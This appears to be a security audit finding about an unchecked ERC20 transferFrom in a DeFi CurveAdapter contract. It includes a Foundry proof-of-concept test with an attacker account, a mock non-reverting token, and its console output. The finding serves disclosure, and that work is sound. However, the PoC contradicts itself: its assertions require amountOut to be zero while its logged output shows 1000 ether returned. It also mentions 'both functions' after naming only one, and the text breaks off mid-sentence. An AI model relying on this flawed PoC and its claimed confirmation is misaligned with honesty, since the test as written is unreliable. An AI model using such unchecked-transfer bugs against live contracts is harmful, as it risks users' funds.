The CurveAdapter contract fails to properly check the return value of ERC20 transferFrom operations, which can lead to inconsistent contract state and potential loss of funds when interacting with tokens like USDT that return false instead of reverting on failed transfers.
The vulnerability exists in the executeSwapExactInputSingle function of the CurveAdapter contract where it uses unchecked ERC20 transferFrom operations:
The vulnerability exists in both functions where the contract performs unchecked transferFrom operations. Neither function verifies the return value of the transfer, which is particularly dangerous with tokens like USDT that return false on failure instead of reverting.
pragma solidity 0.8.25;
import { Test } from "forge-std/Test.sol";
import { console } from "forge-std/console.sol";
import { CurveAdapter } from "src/utils/dex-adapters/CurveAdapter.sol";
import { SwapExactInputSinglePayload } from "src/utils/interfaces/IDexAdapter.sol";
import { IERC20 } from "@openzeppelin/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/token/ERC20/ERC20.sol";
import { ICurveSwapRouter } from "@zaros/utils/interfaces/ICurveSwapRouter.sol";
import { ERC1967Proxy } from "@openzeppelin/proxy/ERC1967/ERC1967Proxy.sol";
import { IPriceAdapter } from "@zaros/utils/interfaces/IPriceAdapter.sol";
* @title Unchecked Transfer POC for CurveAdapter
* @notice This test demonstrates a critical vulnerability where failed transfers are not properly checked
* @dev This POC simulates behavior of tokens like USDT that return false instead of reverting on failed transfers
*/
contract MockTokenNoRevert is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
if (balanceOf(sender) < amount || allowance(sender, _msgSender()) < amount) {
emit TransferFailed(sender, recipient, amount, "Insufficient balance or allowance");
return false;
}
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), allowance(sender, _msgSender()) - amount);
return true;
}
event TransferFailed(address indexed from, address indexed to, uint256 value, string reason);
}
contract UncheckedTransferPOC is Test {
CurveAdapter public curveAdapter;
MockTokenNoRevert public token1;
MockTokenNoRevert public token2;
address public owner;
address public curveStrategyRouter;
address public attacker;
address public mockPriceAdapter;
function setUp() public {
console.log("\n============================================");
console.log("Setting up POC for Unchecked Transfer Bug");
console.log("============================================");
console.log("This POC demonstrates a critical vulnerability where the CurveAdapter");
console.log("does not properly check the return value of transferFrom operations.");
console.log("This is particularly dangerous with tokens like USDT that return false");
console.log("instead of reverting on failed transfers.");
console.log("============================================\n");
owner = makeAddr("owner");
attacker = makeAddr("attacker");
curveStrategyRouter = makeAddr("curveStrategyRouter");
mockPriceAdapter = makeAddr("mockPriceAdapter");
token1 = new MockTokenNoRevert("Mock USDT", "USDT");
token2 = new MockTokenNoRevert("Mock USDC", "USDC");
vm.startPrank(owner);
CurveAdapter implementation = new CurveAdapter();
bytes memory initData = abi.encodeCall(
CurveAdapter.initialize,
(owner, curveStrategyRouter, 100)
);
ERC1967Proxy proxy = new ERC1967Proxy(
address(implementation),
initData
);
curveAdapter = CurveAdapter(address(proxy));
vm.mockCall(
mockPriceAdapter,
abi.encodeWithSelector(IPriceAdapter.getPrice.selector),
abi.encode(1e18)
);
vm.mockCall(
curveStrategyRouter,
abi.encodeWithSelector(
ICurveSwapRouter.exchange_with_best_rate.selector,
address(token1),
address(token2),
uint256(1000 ether),
uint256(990 ether),
attacker
),
abi.encode(1000 ether)
);
curveAdapter.setSwapAssetConfig(address(token1), 18, mockPriceAdapter);
curveAdapter.setSwapAssetConfig(address(token2), 18, mockPriceAdapter);
vm.stopPrank();
token2.mint(curveStrategyRouter, 1000000 ether);
}
function test_UncheckedTransferFrom_Vulnerability() public {
console.log("\n[*] POC: Unchecked transferFrom Vulnerability in CurveAdapter");
console.log("==========================================================");
console.log("This test demonstrates how the CurveAdapter fails to handle");
console.log("tokens that return false on failed transfers (like USDT)");
console.log("==========================================================\n");
console.log("[*] Contract Addresses:");
console.log("------------------------");
console.log("CurveAdapter: %s", address(curveAdapter));
console.log("Mock USDT (Token1): %s", address(token1));
console.log("Mock USDC (Token2): %s", address(token2));
console.log("Attacker: %s", attacker);
uint256 initialAmount = 1000 ether;
token1.mint(attacker, initialAmount);
console.log("\n[*] Initial State:");
console.log("------------------------");
console.log("Attacker's USDT Balance: %d", token1.balanceOf(attacker));
console.log("Attacker's USDC Balance: %d", token2.balanceOf(attacker));
console.log("CurveAdapter's USDT Balance: %d", token1.balanceOf(address(curveAdapter)));
console.log("\n[!] Step 1: Attacker attempts swap WITHOUT approving tokens");
console.log(" This should fail, but the contract doesn't check the return value!");
SwapExactInputSinglePayload memory swapPayload = SwapExactInputSinglePayload({
tokenIn: address(token1),
tokenOut: address(token2),
amountIn: initialAmount,
recipient: attacker
});
vm.prank(attacker);
uint256 amountOut = curveAdapter.executeSwapExactInputSingle(swapPayload);
console.log("\n[!] Bug Demonstration Results:");
console.log("-------------------------------");
console.log("1. Transfer failed but contract continued execution");
console.log("2. No tokens were actually transferred:");
console.log(" - Attacker's USDT Balance: %d (unchanged)", token1.balanceOf(attacker));
console.log(" - CurveAdapter's USDT Balance: %d (no tokens received)", token1.balanceOf(address(curveAdapter)));
console.log("3. Contract reported success despite failed transfer:");
console.log(" - Returned amountOut: %d (should be 0)", amountOut);
assertEq(token1.balanceOf(attacker), initialAmount, "Attacker's Token1 balance should not change");
assertEq(token2.balanceOf(attacker), 0, "Attacker should not receive any Token2");
assertEq(token1.balanceOf(address(curveAdapter)), 0, "CurveAdapter should not receive any Token1");
assertEq(amountOut, 0, "Swap should return 0 amountOut");
console.log("\n[!] CRITICAL VULNERABILITY CONFIRMED");
console.log("------------------------------------");
console.log("1. CurveAdapter does not check transferFrom return value");
console.log("2. Failed transfers are silently ignored");
console.log("3. Contract continues execution as if transfer succeeded");
console.log("4. This affects tokens like USDT that return false instead of reverting");
console.log("\nImpact: High - Could lead to:");
console.log("- Inconsistent contract state");
console.log("- Loss of funds");
console.log("- Failed swaps being reported as successful");
console.log("\nRecommendation:");
console.log("- Use OpenZeppelin's SafeERC20 library");
console.log("- Replace transferFrom with safeTransferFrom");
console.log("============================================");
}
}
============================================
Setting up POC for Unchecked Transfer Bug
============================================
This POC demonstrates a critical vulnerability where the CurveAdapter
does not properly check the return value of transferFrom operations.
This is particularly dangerous with tokens like USDT that return false
instead of reverting on failed transfers.
============================================
[*] POC: Unchecked transferFrom Vulnerability in CurveAdapter
==========================================================
This test demonstrates how the CurveAdapter fails to handle
tokens that return false on failed transfers (like USDT)
==========================================================
[*] Contract Addresses:
------------------------
CurveAdapter: 0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d
Mock USDT (Token1): 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
Mock USDC (Token2): 0x2e234DAe75C793f67A35089C9d99245E1C58470b
Attacker: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
[*] Initial State:
------------------------
Attacker's USDT Balance: 1000000000000000000000
Attacker's USDC Balance: 0
CurveAdapter's USDT Balance: 0
[!] Step 1: Attacker attempts swap WITHOUT approving tokens
This should fail, but the contract doesn't check the return value!
[!] Bug Demonstration Results:
-------------------------------
1. Transfer failed but contract continued execution
2. No tokens were actually transferred:
- Attacker's USDT Balance: 1000000000000000000000 (unchanged)
- CurveAdapter's USDT Balance: 0 (no tokens received)
3. Contract reported success despite failed transfer:
- Returned amountOut: 1000000000000000000000 (should be 0)
High severity. This vulnerability can lead to: